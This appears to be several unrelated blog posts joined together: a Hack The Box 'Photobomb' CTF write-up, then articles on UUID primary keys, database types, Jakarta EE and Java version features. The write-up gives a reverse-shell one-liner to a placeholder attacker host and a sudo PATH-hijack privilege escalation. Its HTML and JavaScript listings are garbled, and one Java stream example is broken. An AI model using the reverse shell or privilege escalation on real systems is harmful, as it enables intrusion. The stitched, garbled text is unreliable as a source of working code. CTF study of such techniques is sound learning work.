Photobomb: Hack The Box Write-up

Photobomb is a beginner-level Linux machine designed to provide a hands-on experience in cybersecurity. This setup allows users to apply their skills in identifying and exploiting common vulnerabilities, focusing on authentication, credential handling, and examining web application functionalities. Additionally, it offers opportunities to explore privilege escalation techniques through system scripting configurations. This machine provides a realistic and safe environment for learning about cybersecurity and penetration testing.

Reconnaissance

I started by performing a scan of all open TCP ports on the machine using the command: 

nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.182 -oG allPorts
> nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.182 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-09 11:31 CST
Initiating SYN Stealth Scan at 11:31
Scanning 10.10.11.182 [65535 ports]
Discovered open port 22/tcp on 10.10.11.182
Discovered open port 80/tcp on 10.10.11.182
Completed SYN Stealth Scan at 11:31, 23.71s elapsed (65535 total ports)
Nmap scan report for 10.10.11.182
Host is up, received user-set (0.45s latency).
Scanned at 2023-12-09 11:31:17 CST for 24s
Not shown: 35879 closed tcp ports (reset), 29654 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE    SERVICE   REASON
22/tcp open     ssh       syn-ack ttl 63
80/tcp open     http      syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap 
Nmap done: 1 IP address (1 host up) scanned in 23.93 seconds
           Raw packets sent: 114608 (5.043MB) | Rcvd: 36317 (1.453MB)

Next, I used the extractPorts script to copy open ports to the clipboard. I then conducted a second nmap scan with this new information: 

nmap -sCV -p22,80 10.10.11.182 -oN targeted

For better visualization, I utilized bat (alias for cat) with the -l flag to highlight the output as if it were Java code. The scan revealed that TCP port 22 (commonly used for SSH) and port 80 (indicating a web server running on nginx) were open. The mention of “Ubuntu” alongside these results suggested a Linux machine.

Visiting http://10.10.11.182 redirected to http://photobomb.htb, but the page was not reachable due to Virtual Hosting. To resolve this, I added an entry with the IP and domain in the /etc/hosts file.

# Static table lookup for hostnames.
# See hosts(5) for details.
# IPV4
127.0.0.1    localhost
127.0.0.1    hack4u.localhost    hack4u
127.0.0.1    hack4u.localdomain  hack4u
10.10.11.182 photobomb.htb  # <- this is the entry we have to add 
#IPV6
::1          localhost  ip6-localhost ip6-loopback
ff02::1      ip6-allnodes
ff02::2      ip6-allrouters

After this adjustment, refreshing the browser displayed the website. Exploring the site revealed an authentication form accessible by clicking “click here!”.

Inspecting the source code (CTRL+U) showed mostly plain HTML, with references to a CSS stylesheet and a JavaScript file named photobomb.js.

<!DOCTYPE html>
<html> 
<head> 
  <title>Photobomb</title> 
  <link type="text/css" rel="stylesheet" href-"styles.css" media="all" /> 
  <script sre="photobomb.Js"></script> 
</head> 
<body>
  <div id="container"> 
    <header>
     <hl><a href-"/">Photobomb</a></h1>
    </header>
    <article>
      <h2>Welcome to your new Photobomb franchise!</h2>
      <p>You will soon be making an amazing income selling premium photographic gifts.</p> 
      <p>This state of-the-art web application is your gateway to this fantastic new life. Your wish is its command.</p>
      <p>To get started, please <a href-"/printer" class-"creds">click here!</a> (the credentials are in your welcome pack) .</p> 
   <p>If you have any problems with your printer, please call our Technical Support team on 4 4283 77468377.</p>
    </article> 
  </div>
</body>
</html>

Examining the photobomb.js script revealed a credentials leak.

function init () { 
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me 
  if (document.cookie.match(/”(.*;)?\s*isPhotoBombTechSupport\s*=\s*[~:}+(=¥)75/)) { 
    document.getElement sByClassName('creds')[0].setAttribute ('href',('http://pHOt0:bOMb! @photobomb.htb/printer'); 
    } 
} 
window.onload = init;

I stored these credentials for potential future use.

Exploitation

Using the discovered credentials, I accessed the website through the authentication form. The website’s functionality involved choosing a picture, format, and size for downloading. I wondered how the HTTP request was structured.

Using Burp Suite, I intercepted the request and sent it to the repeater for modification.

The HTTP 500 internal server error response indicated the possibility of code injection. To exploit this, I created a URL-encoded reverse shell one-liner: 

/bin/bash -c 'sh -i >& /dev/tcp/AttackerIP/AttackerPort 0>&1'

, replacing the IP and port with my listener setup.

Setting up a netcat listener on the designated port and sending the modified request through Burp Suite resulted in a successful reverse shell connection.

For an improved terminal experience, I performed a TTY upgrade.

Privilege Escalation

Investigating potential sudo privileges with 

sudo -l revealed a script, /opt/cleanup.sh

that could be executed without a password.

The script, shown in the following image, contained a line starting with ‘find’ (not /usr/bin/find), allowing me to exploit the PATH variable. I created a file named ‘find’ containing ‘sh’ to hijack the script’s execution path.

I ran the script with a modified PATH, causing it to execute my ‘find’ script instead of the intended binary: 

sudo PATH=$PWD:$PATH /opt/cleanup.sh

This granted me a shell with root privileges, as demonstrated in the final image, where I accessed the root flag.

Conclusion

The Photobomb machine provided a comprehensive learning experience in web exploitation and privilege escalation. Through methodical reconnaissance, code injection, and clever manipulation of system configurations, I gained both user and root access. This exercise underscored the importance of thorough system auditing and the potential dangers of overlooked vulnerabilities.

Universal Unique Identifier – The Better Auto Increment

For developers, databases are an area of ​​application development that shouldn’t be taken lightly. In this article, I’ll address the question of what constitutes suitable primary keys for relational databases like MySQL or PostgreSQL. But before I delve into the technical details, I’d like to briefly describe a scenario I recently encountered.

I was tasked with migrating an online shop system for a project. Since this system had been in productive use for over 10 years, the goal was to upgrade to a new major version. As we were already three major releases behind the current version, we decided to take this opportunity to also get rid of some legacy issues. Essentially, a new shop with a new design and updated functionality was to be set up from scratch, allowing the existing products, orders, and, of course, customer data to be imported into the new shop. So far, so routine.

The complication arose from the fact that the old system had to remain operational until it could be seamlessly replaced by the new version. As is often the case, software evolves. The new version also included significant changes that complicated direct data mapping. Specifically, the issue concerned how product attributes are stored internally. For example, if we sell T-shirts, there might be a white cotton V-neck model available in different sizes. Now, when selecting items from the catalog in the shop view, each individual shirt won’t be displayed in its size. Instead, the product will have a selection box with the different sizes. These product attributes can become extremely complex, depending on the shop.

Nowadays, there are very powerful tools available—not as expensive as a mid-range car—for defining mappings between database schema versions and automatically transferring the data to the new version. This process becomes a real ordeal when primary keys are generated using generic auto-increment. The old system remains active and continuously generates new primary keys, which may already be in use in the new system. This effect is minimized through so-called freezes. This means that until the migration is complete, the shop owner cannot add new products to the shop and can only modify existing product attributes under very limited conditions.

To make data migration easier and less prone to errors, using auto-increment for primary key generation is generally frowned upon in commercial environments. Professional database management systems (DBMS) like Oracle and PostgreSQL cannot even create auto-increments without significant effort. If you still want to use this feature, it’s usually implemented via the persistence framework and not, as with MySQL or MariaDB, as a function within SQL.

Where does the idea of ​​using such a generic primary key even come from? It’s certainly a very simple mechanism that has proven itself and works well in practice. At least as long as you don’t intend to migrate. Another aspect is, of course, historically rooted, back when hard drive storage was expensive and not as readily available as it is today. Back then, every single bit that could be saved counted. This argument is refuted by the availability of inexpensive storage. On the contrary, the disadvantages you incur in terms of maintenance for a few saved megabytes actually outweigh them.

What are therefore suitable primary keys for records in relational databases? Here we distinguish between two categories: natural and generated keys. Since the primary key must be unique and therefore cannot occur twice, there are few natural candidates. The classic example of a user account as a primary key is the email address. The phone number also has this desired property.

Automatically generated primary keys include the auto-increment key already described, which we should avoid. Instead, it’s better to use the Universal Unique Identifier, or UUID for short. All programming languages ​​have an implementation for this. However, there are now several versions of the UUID. Version 7 of the UUID was released not too long ago. Therefore, let’s take a closer look at the properties of the respective versions. The AI ​​Grok presents the versions as follows.

  • Version 1 (Time-based, RFC 4122/9562):
    • Combines a highly precise timestamp (60 bits, 100-nanosecond intervals since October 15, 1582), a 14-bit clock sequence (to prevent clock reversal), and a 48-bit node ID (usually the computer’s MAC address).
    • Disadvantage: The MAC address can reveal the hardware (data protection). The sorting is not optimal because the timestamp bits are not in chronological order.
    • Reference: RFC 9562, Section 5.1.
  • Version 2 (DCE Security):
    • Similar to version 1, but with additional fields for POSIX UID/GID (Local Domain). The timestamp is less precise.
    • Status: Rarely used, not implemented in most libraries, and intended only for very specific legacy DCE applications.
    • Evidence: RFC 9562 mentions it as reserved with reference to old DCE specifications.
  • Versions 3 & 5 (Name-based):
    • Deterministic: A UUID is generated from a namespace and a name using a hash (v3: MD5, v5: SHA-1). Same input → same UUID.
    • Difference: Only the hash algorithm. MD5 is broken, SHA-1 is considered weak → v5 is somewhat better, but neither is suitable for cryptographic security.
    • Evidence: RFC 9562, Sections 5.3 and 5.5.
  • Version 4 (Random):
    • The classic “random” UUID. 122 bits are truly random (or cryptographically secure pseudo-random). No time information, no node ID.
    • Advantage: Maximum unpredictability and privacy.
    • Disadvantage: Not sortable → worse performance than primary keys in databases (index fragmentation).
    • Evidence: RFC 9562, Section 5.4 – considered a secure standard for many applications.
  • Version 6 (Reordered Time-based, RFC 9562):
    • Technically almost identical to v1 (same timestamp, same clock sequence, same node), but the timestamp bits are rearranged (most significant first).
    • This allows v6 UUIDs to be sorted byte-wise by creation time – ideal for databases.
    • Recommendation in the RFC: Use only as a drop-in replacement for existing v1 systems; otherwise, v7 is preferable.
    • Evidence: RFC 9562, Section 5.6 – “field-compatible version of UUIDv1”.
  • Version 7 (Unix Time-based, RFC 9562):
    • Modern variant: 48-bit Unix timestamp in milliseconds (since 1970), followed by 12 bits “rand_a” (can be used for sub-milliseconds or counters) and 62 bits “rand_b” (random).
    • Advantages:
    • Very easy to sort (time is at the beginning).
    • High entropy (74-bit random).
    • No MAC address → better data privacy.
    • Good for distributed systems and database indexes.
    • The RFC explicitly recommends: “Implementations SHOULD utilize UUIDv7 instead of UUIDv1 and UUIDv6 if possible.”
    • Document: RFC 9562, Section 5.7.

The most widespread version so far is version 4, which I also use myself. An important criterion is already familiar from hash algorithms. With hashes, we speak of collisions, meaning when a hash refers to two different texts. We have a similar problem with the generation of UUIDs. In production environments, even with large datasets, these should not be generated multiple times. This would trigger an error in the database system because the uniqueness requirement is violated. The subsequent error handling is more problematic. In order for the data record to still be saved, a new UIID must be generated. I have not yet encountered this situation in my many years of using UUID version 4.

Why should one revert to UUID version 7? It’s about sortability. UUID 7 promises that newer entries will have an ascending date in the first positions. This allows you to identify older entries in descending order.

To use UUID 4 in Java, for example, simply call UUID.randomUUID(). The ORM mapper Hibernate also provides other versions of the UUID via the @GeneratedValue annotation. Of course, you can also use additional libraries like the uuid-creator under the MIT license.

<dependency>
    <groupId>com.github.f4b6a3</groupId>
     <artifactId>uuid-creator</artifactId>
     <version>${version}</version>
</dependency>

In Java, there’s also a way to determine which UUID a string used without an additional library.

UUID uuid = UUID.fromString("123e4567-e89b-12d3-a456-426614174000");

That’s all for today. I hope this article has drawn some attention to the topic and I would be very happy if it gains wider recognition.


Databases: the choice of torture

The permanent storage of data is called persistence in technical terms. To be able to access this data again, software is needed that structures and searches it. Such software is called a Database Management System (DBMS). To access a database from a programming language like Java, Ruby, Python, or PHP, a corresponding driver is required. This driver is often referred to as a client, because the DBMS is the server that allows access for multiple clients. In this article, we won’t focus on how to connect to the respective databases with which programming language, but rather on the different database technologies and their applications.

[Relational DB (rows, columns) | GIS DB | embedded DB]
[NoSQL | Key Value Store | Document DB (JSON, XML) | Graph DB | Time Series Server]

There are now numerous solutions to choose from for classic database systems, the so-called relational databases. Both commercial and professional free open-source options are vying for users’ attention. Most web hosting providers offer their users the choice between the free DBMS MySQL (Oracle) and MariaDB (a fork of MySQL after its acquisition by Oracle) for data storage. However, those who can manage their own servers can, of course, opt for the more professional PostgreSQL.

PostgreSQL is rather unsuitable for most standard PHP applications, although WordPress and Joomla do support this database system. Problems usually arise with the developers of extensions. Instead of using the application’s interfaces, database access is often achieved by ignorantly using MySQL’s native commands.

In commercial application development, Oracle or Microsoft SQL Server are typically used, depending on familiarity with the Microsoft Windows environment. The reason for using commercial database servers lies in the costly support available when vulnerabilities and bugs are discovered. Business-critical applications must ensure the continued existence of both the vendor and their customers. The speed of delivery of security patches is a particularly significant reason for using commercial software.

The functionality of relational databases is defined by tables. The columns of a table define the properties, and a row of the table represents the data record. To access an explicit data record, a column (primary key) must contain unique entries that do not appear again in that column. This property of the primary key is called uniqueness. Primary keys allow for the establishment of relationships, or relations, between tables. To keep this article from becoming excessively long, I will limit my in-depth discussion of the functionality of relational databases to this point and move on to the next category.

Of course, there are also relational databases that operate in a column-oriented rather than row-oriented manner. This enables more efficient queries and analyses, especially with large datasets. Here are some of the main features and benefits of column-oriented databases:

  • Data organization: Stores data in columns, which speeds up the processing of specific columns in queries.
  • Compression: Often offers better compression rates for columnar data because similar data types are stored together.
  • Analytical queries: Optimized for analysis and aggregate queries that need to quickly process large amounts of data.
  • Reduced I/O: Reduces the amount of data that needs to be read from disk, as only the required columns are retrieved.

Column-oriented databases include Apache Cassandra, SAP Hanna, DB2, and Amazon BigQuery, with classic use cases for:

  • Business Intelligence: Ideal for databases that need to process large amounts of data for analytical purposes.
  • Data Warehousing: Efficient storage and analysis of historical data.
  • Real-time analytics: Suitable for applications that require rapid decisions based on current data.
IDsupplierarticlepricepackageamount
13MongoDBJSON7.88piece1
21XindiceXML15.67piece1
// Row-oriented DBMS
[{13, MongoDB, JSON, 7.88, piece, 1} {21, Xindice, XML, 15.67, piece, 1}]

// Column-oriented DBMS
[{13,21} {MongoDB, Xindice} {JSON, XML} {7.88, 15.67} {piece, piece} {1, 1}]

To provide data for geographic information systems (GIS) like Google Maps, so-called geospatial databases are used. Geospatial databases are extensions of relational databases that provide tables and relations optimized and standardized for geometric objects. The GIS extension for PostgreSQL is called PostGIS. The datasets for the freely available OpenStreetMap are in a specialized XML format but can also be transformed into geospatial data structures.

Key-value stores are often used in configuration files. However, if you want to build a fast caching system, you need a bit more complexity. This is because the key/value relationship can range from simple strings to complex objects. Basically, a store consists of a unique key to which values ​​can be assigned depending on the data type. Data types can be strings, numbers (integers, floats), Boolean values, and lists. Key-value databases belong to the NoSQL database family because, unlike relational databases, queries are not performed using SQL but are database- and vendor-specific.

Typical key-value databases include Redis, MemCached, Amazon DynamoDB, and the somewhat outdated BarkleyDB, which was acquired by Oracle. A characteristic of key-value databases is that data is stored in memory and backed up to disk at regular intervals. Keeping data in RAM naturally requires a machine with sufficient RAM. Especially with large applications, an enormous amount of data can accumulate for caching.

Another category of databases is embedded databases. “Embedded” refers to the database server itself. Specifically, this means that the database system is not a standalone installation but rather a library integrated into the application. The advantage of this solution is a simpler application installation process. However, this often comes at the expense of security, as many embedded databases lack a dedicated user management layer. This is particularly true for SQLite and the Java-implemented H2. Even the previously mentioned NoSQL BarkelyDB, available as a Java or C library, lacks user management. This means that anyone with access to the application can use a client to read data from the database. Therefore, these systems are not suitable for applications requiring a high level of security.

Regarding the Java version of BarkelyDB, the last available implementation dates back to 2017 and is available as source code in Java/Apache Ant, but this code must be compiled manually. An official binary from Oracle is no longer available, but unofficial versions can be found in the Maven Central Repository.

Anyone wanting to integrate a fully functional relational database into their application can use the embedded version of PostgreSQL – pgx – which provides all the functions of the PostgreSQL server locally.

The next class of databases belongs to the NoSQL category: document-based databases. The two DBMSs, MongoDB and CouchDB, are quite similar in their feature set, but there are significant differences.

  • MongoDB is often chosen for applications requiring complex queries and real-time analytics due to its comprehensive query language and high performance.
  • CouchDB is particularly well-suited for applications that require reliability, a distributed architecture, and easy replication, especially in scenarios where offline access is essential.

The fundamental way document databases work is that the schema is derived from the underlying data structure. These data structures are usually in JSON format and are accessed accordingly. Documents of the same data structure are assigned to a collection. Therefore, these databases don’t store classic office documents, but rather formats like JSON and XML. Document databases that specialize in XML include Oracle XML DB and Apache Xindice.

Many web developers specializing in front-end (UX/UI) development frequently use document databases. This allows them to store data in JSON format to simulate RESTful access and thus populate the dynamic content of the user interface.

A very exotic variant of NoSQL databases are graph databases, which represent data as graphs. This storage format allows for the efficient storage of information according to relationships. Such relationships can be links between websites or a person’s representation on social media. Even the complex relationships used in recommendation systems can be represented as graphs. The following figure shows a simple example of a graph database implemented in Java using Neo4j, to illustrate its use case.

Other graph databases include Amazon Neptune and ArangoDB.

Finally, I’d like to introduce time series. Since monitoring has become essential, especially in the context of application operation, data presented as time series has gained in importance. Typical databases that specialize in processing time series are Prometheus and InfluxDB. However, there are also corresponding extensions for classic relational databases. The PostgreSQL database, which has already been mentioned several times, also has a corresponding extension for this use case called TimescaleDB.

Of course, much more could be said about this topic. After all, countless books on databases fill several meters of library shelves. However, this should suffice for an introduction and an overview of the various database systems and NoSQL solutions. With the information from this article, you now have an idea of ​​which database is suitable for your specific use case. We have also seen that relational databases, especially the free and open-source database PostgreSQL with its available extensions, are very versatile. Further topics related to databases include data modeling and security against hacker attacks.


Java Enterprise in briefly detail

If you plan to get in touch with Java Enterprise, may in the beginning it’s a bit overwhelmed and confusing. But don’t worry It’s not so worst like it seems. To start with it, you just need to know some basics about the ideas and concepts.

The Java Series

last changed:

As first Java EE is not a tool nor a compiler you download and use it in the same manner like Java Development Kit (JDK) also known as Software Development Kit (SDK). Java Enterprise is a set of specifications. Those specifications are supported by an API and the API have a reference implementation. The reference implementation is a bundle you can download and it’s called Application Server.

Since Java EE 8 the Eclipse Foundation maintain Java Enterprise. Oracle and the Eclipse Foundation was not able to find a common agreement for the usage of the Java Trademark, which is owned by Oracle. The short version of this story is that the Eclipse Foundation renamed JavaEE to JakartaEE. This has also an impact to old projects, because the package paths was also changed in Jakarta EE 9 from javax to jakarta. Jakarta EE 9.1 upgrade all components from JDK 8 to JDK 11.

If you want to start with developing Jakarta Enterprise [1] applications you need some prerequisites. As first you have to choose the right version of the JDK. The JDK already contains the runtime environment Java Vitual Machine (JVM) in the same version like the JDK. You don’t need to install the JVM separately. A good choice for a proper JDK is always the latest LTS Version. Java 17 JDK got released 2021 and have support for 3 years until 2024.

If you wish to overcome the Oracle license restrictions you may could switch to an free Open Source implementation of the JDK. One of the most famous free available variant of the JDK is the OpenJDK from adoptium [2]. Another interesting implementation is GraalVM [3] which is build on top of the OpenJDK. The enterprise edition of GraalVM can speed up your application 1.3 times. For production system a commercial license of the enterprise edition is necessary. GraalVM includes also an own Compiler.

  Version  Year  JSR  Servlet  Tomcat  JavaSE
J2EE – 1.21999
J2EE – 1.32001JSR 58
J2EE – 1.42003JSR 151
Java EE 52006JSR 244
Java EE 62009JSR 316
Java EE 72013JSR 342
Java EE 82017JSR 366
Jakarta 820194.09.08
Jakarta 920205.010.08 & 11
Jakarta 9.120215.010.011
Jakarta 1020226.010.111
Jakarta 1120236.111.017
Jakarta 12under development6.221

The table above is not complete but the most important current versions are listed. Feel free to send me an message if you have some additional information are missing in this overview.

You need to be aware, that the Jakarta EE Specification needs a certain Java SDK and the Application Server maybe need as a runtime another Java JDK. Both Java Versions don’t have to be equal.

Dependencies (Maven):

<dependency>
    <groupId>jakarta.platform</groupId>
    <artifactId>jakarta.jakartaee-api</artifactId>
    <version>${version}</version>
    <scope>provided</scope>
</dependency> 
XML
<dependency>
    <groupId>org.eclipse.microprofile</groupId>
    <artifactId>microprofile</artifactId> 
    <version>${version}</version>
    <type>pom</type>
    <scope>provided</scope>
</dependency>
XML

In the next step you have to choose the Jakarta EE environment implementation. This means decide for an application server. It’s very important that the application server you choose can operate on the JVM version you had installed on your system. The reason is quite simple, because the application server is implemented in Java. If you plan to develop a Servlet project, it’s not necessary to operate a full application server, a simple Servlet Container like Apache Tomcat (Catalina) or Jetty contains everything is required.

Jakarta Enterprise reference implementations are: Payara (fork of Glassfish), WildFly (formerly known as JBoss), Apache Geronimo, Apache TomEE, Apache Tomcat, Jetty and so on.

May you heard about Microprofile [4]. Don’t get confused about it, it’s not that difficult like it seems in the beginnin. In general you can understand Microprofiles as a subset of JakartaEE to run Micro Services. Microprofiles got extended by some technologies to trace, observe and monitor the status of the service. Version 5 was released on December 2021 and is full compatible to JakartaEE 9.


Core Technologies

Plain Old Java Beans

POJOs are simplified Java Objects without any business logic. This type of Java Beans only contains attributes and its corresponding getters and setters. POJOs do not:

  • Extend pre-specified classes: e. g. public class Test extends javax.servlet.http.HttpServlet is not considered to be a POJO class.
  • Contain pre-specified annotations: e. g. @javax.persistence.Entity public class Test is not a POJO class.
  • Implement pre-specified interfaces: e. g. public class Test implements javax.ejb.EntityBean is not considered to be a POJO class.

(Jakarta) Enterprise Java Beans

An EJB component, or enterprise bean, is a body of code that has fields and methods to implement modules of business logic. You can think of an enterprise bean as a building block that can be used alone or with other enterprise beans to execute business logic on the Java EE server.

Enterprise beans are either (stateless or stateful) session beans or message-driven beans. Stateless means, when the client finishes executing, the session bean and its data are gone. A message-driven bean combines features of a session bean and a message listener, allowing a business component to receive (JMS) messages asynchronously.

(Jakarta) Servlet

Java Servlet technology lets you define HTTP-specific Servlet classes. A Servlet class extends the capabilities of servers that host applications accessed by way of a request-response programming model. Although Servlets can respond to any type of request, they are commonly used to extend the applications hosted by web servers.

(Jakarta) Server Pages

JSP is a UI technology and lets you put snippets of Servlet code directly into a text-based document. JSP files transformed by the compiler to a Java Servlet.

(Jakarta) Server Pages Standard Tag Library

The JSTL encapsulates core functionality common to many JSP applications. Instead of mixing tags from numerous vendors in your JSP applications, you use a single, standard set of tags. JSTL has iterator and conditional tags for handling flow control, tags for manipulating XML documents, internationalization tags, tags for accessing databases using SQL, and tags for commonly used functions.

(Jakarta) Server Faces

JSF technology is a user interface framework for building web applications. JSF was introduced to solve the problem of JSP, where program logic and layout was extremely mixed up.

(Jakarta) Managed Beans

Managed Beans, lightweight container-managed objects (POJOs) with minimal requirements, support a small set of basic services, such as resource injection, lifecycle callbacks, and interceptors. Managed Beans represent a generalization of the managed beans specified by Java Server Faces technology and can be used anywhere in a Java EE application, not just in web modules.

(Jakarta) Persistence API

The JPA is a Java standards–based solution for persistence. Persistence uses an object/relational mapping approach to bridge the gap between an object-oriented model and a relational database. The Java Persistence API can also be used in Java SE applications outside of the Java EE environment. Hibernate and Eclipse Link are some reference Implementation for JPA.

(Jakarta) Transaction API

The JTA provides a standard interface for demarcating transactions. The Java EE architecture provides a default auto commit to handle transaction commits and rollbacks. An auto commit means that any other applications that are viewing data will see the updated data after each database read or write operation. However, if your application performs two separate database access operations that depend on each other, you will want to use the JTA API to demarcate where the entire transaction, including both operations, begins, rolls back, and commits.

(Jakarta) API for RESTful Web Services

The JAX-RS defines APIs for the development of web services built according to the Representational State Transfer (REST) architectural style. A JAX-RS application is a web application that consists of classes packaged as a servlet in a WAR file along with required libraries.

(Jakarta) Dependency Injection for Java

Dependency Injection for Java defines a standard set of annotations (and one interface) for use on injectable classes like Google Guice or the Sprig Framework. In the Java EE platform, CDI provides support for Dependency Injection. Specifically, you can use injection points only in a CDI-enabled application.

(Jakarta) Contexts & Dependency Injection for Java EE

CDI defines a set of contextual services, provided by Java EE containers, that make it easy for developers to use enterprise beans along with Java Server Faces technology in web applications. Designed for use with stateful objects, CDI also has many broader uses, allowing developers a great deal of flexibility to integrate different kinds of components in a loosely coupled but typesafe way.

(Jakarta) Bean Validation

The Bean Validation specification defines a metadata model and API for validating data in Java Beans components. Instead of distributing validation of data over several layers, such as the browser and the server side, you can define the validation constraints in one place and share them across the different layers.

(Jakarta) Message Service API

JMS API is a messaging standard that allows Java EE application components to create, send, receive, and read messages. It enables distributed communication that is loosely coupled, reliable, and asynchronous.

(Jakarta) EE Connector Architecture

The Java EE Connector Architecture is used by tools vendors and system integrators to create resource adapters that support access to enterprise information systems that can be plugged in to any Java EE product. A resource adapter is a software component that allows Java EE application components to access and interact with the underlying resource manager of the EIS. Because a resource adapter is specific to its resource manager, a different resource adapter typically exists for each type of database or enterprise information system.

The Java EE Connector Architecture also provides a performance-oriented, secure, scalable, and message-based transactional integration of Java EE platform–based web services with existing EISs that can be either synchronous or asynchronous. Existing applications and EISs integrated through the Java EE Connector Architecture into the Java EE platform can be exposed as XML-based web services by using JAX-WS and Java EE component models. Thus JAX-WS and the Java EE Connector Architecture are complementary technologies for enterprise application integration (EAI) and end-to-end business integration.

(Jakarta) Mail API

Java EE applications use the JavaMail API to send email notifications. The JavaMail API has two parts:

  • An application-level interface used by the application components to send mail
  • A service provider interface

The Java EE platform includes the JavaMail API with a service provider that allows application components to send Internet mail.

(Jakarta) Authorization Contract for Containers

The JACC specification defines a contract between a Java EE application server and an authorization policy provider. All Java EE containers support this contract. The JACC specification defines java.security.Permission classes that satisfy the Java EE authorization model. The specification defines the binding of container-access decisions to operations on instances of these permission classes. It defines the semantics of policy providers that use the new permission classes to address the authorization requirements of the Java EE platform, including the definition and use of roles.

(Jakarta) Authentication Service Provider Interface for Containers

The JASPIC specification defines a service provider interface (SPI) by which authentication providers that implement message authentication mechanisms may be integrated in client or server message-processing containers or runtimes. Authentication providers integrated through this interface operate on network messages provided to them by their calling containers. The authentication providers transform outgoing messages so that the source of each message can be authenticated by the receiving container, and the recipient of the message can be authenticated by the message sender. Authentication providers authenticate each incoming message and return to their calling containers the identity established as a result of the message authentication.

(Jakarta) EE Security API

The purpose of the Java EE Security API specification is to modernize and simplify the security APIs by simultaneously establishing common approaches and mechanisms and removing the more complex APIs from the developer view where possible. Java EE Security introduces the following APIs:

  • SecurityContext interface: Provides a common, uniform access point that enables an application to test aspects of caller data and grant or deny access to resources.
  • HttpAuthenticationMechanism interface: Authenticates callers of a web application, and is specified only for use in the servlet container.
  • IdentityStore interface: Provides an abstraction of an identity store and that can be used to authenticate users and retrieve caller groups.

(Jakarta) Java API for WebSocket

WebSocket is an application protocol that provides full-duplex communications between two peers over TCP. The Java API for WebSocket enables Java EE applications to create endpoints using annotations that specify the configuration parameters of the endpoint and designate its lifecycle callback methods.

(Jakarta) Java API for JSON Processing

The JSON-P enables Java EE applications to parse, transform, and query JSON data using the object model or the streaming model.

JavaScript Object Notation (JSON) is a text-based data exchange format derived from JavaScript that is used in web services and other connected applications.

(Jakarta) Java API for JSON Binding

The JSON-B provides a binding layer for converting Java objects to and from JSON messages. JSON-B also supports the ability to customize the default mapping process used in this binding layer through the use of Java annotations for a given field, JavaBean property, type or package, or by providing an implementation of a property naming strategy. JSON-B is introduced in the Java EE 8 platform.

(Jakarta) Concurrency Utilities for Java EE

Concurrency Utilities for Java EE is a standard API for providing asynchronous capabilities to Java EE application components through the following types of objects: managed executor service, managed scheduled executor service, managed thread factory, and context service.

(Jakarta) Batch Applications for the Java Platform

Batch jobs are tasks that can be executed without user interaction. The Batch Applications for the Java Platform specification is a batch framework that provides support for creating and running batch jobs in Java applications. The batch framework consists of a batch runtime, a job specification language based on XML, a Java API to interact with the batch runtime, and a Java API to implement batch artifacts.

Resources

Notice: I try to keep this post up to date, but mistakes could happen. Please feel free to drop me a message, if you detected some mistakes or if you have some suggestions. If you like this article it would be great to leave a thumbs up and share with friends and colleges.

A Handful of JAVA Key Features of Each Version

The object-oriented programming language Java was designed by James Gosling. The first version was released in 1995 by Sun Microsystems. After Oracle acquired Sun Microsystems in 2010, Java became part of Oracle’s product portfolio.

last changed:

The Java Series

  • Java 21 LTS
  • Java 20
  • Java 19
  • Java 18
  • Java 17 LTS
  • Java 16
  • Java 15
  • Java 14
  • Java 13
  • Java 12
  • Java 11 LTS
  • Java 10
  • Java 9
  • Java 8
  • Java 7
  • Java 6
  • Java 5 / J5SE
  • Java 1.4
  • Java 1.3
  • Java 1.2 / Java2

To run Java programs on your computer, you need a virtual machine (JVM). The download for this JVM is called the JRE (Java Runtime Environment). If you want to develop in the Java programming language yourself, you need the corresponding compiler, which is known by the general term SDK (Software Development Kit) or, more specifically, JDK (Java Development Kit). The JDK naturally includes the corresponding runtime environment (the JVM).

With the release of Java 9 in September 2017, Oracle announced a six-month release cycle for future Java versions. This means a new version of the popular programming language is released every year in March and September. But don’t worry, it’s not necessary to follow Oracle’s licensing terms and update your own Java version on this cycle. To provide companies with sufficient stability for their IT infrastructure, every sixth Java release is a so-called LTS (Long Term Support) and has a lifespan of three years from its release date. I have already published a more detailed article on this topic.

With the frequent release cycle, each new Java version naturally brings several new key features to the core language. It’s easy to lose track of everything. Therefore, I’ve compiled a brief overview. For those who would also like an overview of the individual Java Enterprise versions, I recommend my corresponding article on Java EE.

Version overview

To avoid getting bogged down in details, I’ll start with version 1.2, also known as Java 2, which was released in 1998. The most important features of Java 2 were the graphical Swing API and the introduction of the Just-In-Time (JIT) compiler.

In 2000, version 1.3 was released, featuring JNDI (Java Naming and Directory Interface) and JPDA (Java Platform Debugger Architecture).

Just two years later, in 2002, version 1.4 was released, expanding the available standard library with features such as regular expressions, a logging API, an integrated XML & XSLT processor, an Image I/O API, and New I/O.

With the release of version 1.5 in 2004, the version numbering system changed. Java is now numbered as a major version, meaning that from then on, it’s referred to as Java5. Just like version 1.2, the Java 5 Standard Edition (SE), or J5SE for short, brings a host of changes for everyday development. These include: autoboxing/unboxing, annotations, enums, and generics.

Released in 2006, Java6 SE extended XML functionality with the StAX parser, introduced JAX-WS for web services, and brought scripting language support, enabling scripting languages ​​like JavaScript to run on the JVM. The most important examples are the two JVM languages ​​Kotlin (2011, JetBrains) and Scala (2004).

Five years later, and for the first time under Oracle’s direction, Java7 SE was released in 2011. This Java release introduced the diamond operator <>. Further measures to simplify the language and increase expressiveness included simplifying the declaration of varargs methods and enabling the use of strings in switch statements. The concerns that exceptions are slow and should be used sparingly were also addressed, and exception handling was improved.

// Diamond Operator
List<String> myList = new ArrayList<>();

// varargs (variable-length arguments)
public void myMethod(String... args);

Java8 SE took another significant step forward with its release in 2014. In this release, Oracle provided the Java community with long-awaited features such as lambda functions and the Stream API, to name just a few of the most important new features. Furthermore, the Date & Time API was completely redesigned, with changes inspired by the then widely used JODA-Time library.

// ForEach Lambda
myList.forEach(element -> System.out.println(element));

//Stream API
myList.stream()
    .filter(element -> element.startsWith("A"))
    .forEach(System.out.println); 

